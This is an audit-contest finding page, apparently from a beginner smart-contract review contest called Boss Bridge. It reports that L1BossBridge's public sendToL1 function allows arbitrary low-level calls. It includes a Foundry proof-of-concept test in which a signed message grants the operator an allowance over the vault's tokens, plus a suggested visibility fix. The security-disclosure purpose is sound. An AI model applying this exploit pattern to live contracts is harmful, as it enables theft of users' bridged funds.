First Flight #4: Boss Bridge
First Flight #4
Beginner FriendlyFoundryBridge
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Unauthorized Low-Level Calls in `L1BossBridge` Smart Contract

codelock

Summary

The issue demonstrate a scenario where the owner can make low-level calls to different contracts, exploiting the vulnerability identified in the sendToL1 function. This unauthorized capability allows the owner to manipulate data, allowances, etc, and poses a significant security risk.

Vulnerability Details

The vulnerability allows the contract owner to exploit the sendToL1 function to make unauthorized low-level calls to different contracts. This opens the door to potential fund manipulations, unauthorized interactions, and disruptions in the normal operation of external contracts.

Proof of Concept

function testOwnerCanMakeLowLvlCallToDiferentsContracts() public {
// Check inital state
vm.startPrank(user);
uint256 depositAmount = 10e18;
uint256 userInitialBalance = token.balanceOf(address(user));
​
assertEq(token.allowance(address(vault), address(operator.addr)), 0);
​
// Approve the bridge to move tokens from the user
token.approve(address(tokenBridge), depositAmount);
tokenBridge.depositTokensToL2(user, userInL2, depositAmount);
​
assertEq(token.balanceOf(address(vault)), depositAmount);
assertEq(token.balanceOf(address(user)), userInitialBalance - depositAmount);
​
// Check that the owner has been able to give himself completely inappropriate permissions
bytes memory message = _getEncodeMessage(operator.addr, depositAmount);
(uint8 v, bytes32 r, bytes32 s) = _signMessage(message, operator.key);
tokenBridge.sendToL1(v, r, s, message);
​
assertEq(token.allowance(address(vault), address(operator.addr)), depositAmount);
}

Impact

The impact of this vulnerability is severe, as it grants the contract owner unauthorized control over data manipulation, enabling low-level calls to different contracts. This undermines the security and integrity of the contract and introduces the potential for financial losses and unintended consequences.

Tools Used

  • Manual review

  • Slither

  • Foundry

Recommendations

Change Function Visibility to Internal: Restrict the visibility of the sendToL1 function to internal, preventing unauthorized external access and low-level calls.

- function withdrawTokensToL1(address to, uint256 amount, uint8 v, bytes32 r, bytes32 s) external {
+ function withdrawTokensToL1(address to, uint256 amount, uint8 v, bytes32 r, bytes32 s) external nonReentrant whenNotPaused {
// Existing function implementation...
}
​
- function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory message) public nonReentrant whenNotPaused {
+ function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory message) internal {
// Existing function implementation...
}
Updates

Lead Judging Commences

0xnevi Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

sendToL1(): Wrong function visibility

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.